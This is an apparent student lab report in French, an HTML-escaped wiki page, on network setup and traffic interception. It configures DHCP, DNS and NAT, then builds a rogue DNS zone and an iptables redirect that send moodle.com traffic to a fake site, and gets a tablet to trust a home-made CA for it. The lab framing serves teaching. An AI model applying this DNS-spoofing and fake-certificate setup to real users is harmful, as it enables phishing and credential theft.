option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin on mets en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord on modifie /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on créer la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone exemple.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vert un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis on configure apache2&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommé CertiFiable:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis on vient générer une demande de signature de certificat:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;Puis on vient signer le site avec le certificat de CertiFiable:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sur le faux Moodle mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposé est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai du prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installer &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solution avant que la VM ne crash d'elle même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La premier est toute simple, connecter la Zabeth directement au wifi, ce qui est difficile à distance. La seconde, qui est je pense possible, changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
</feed>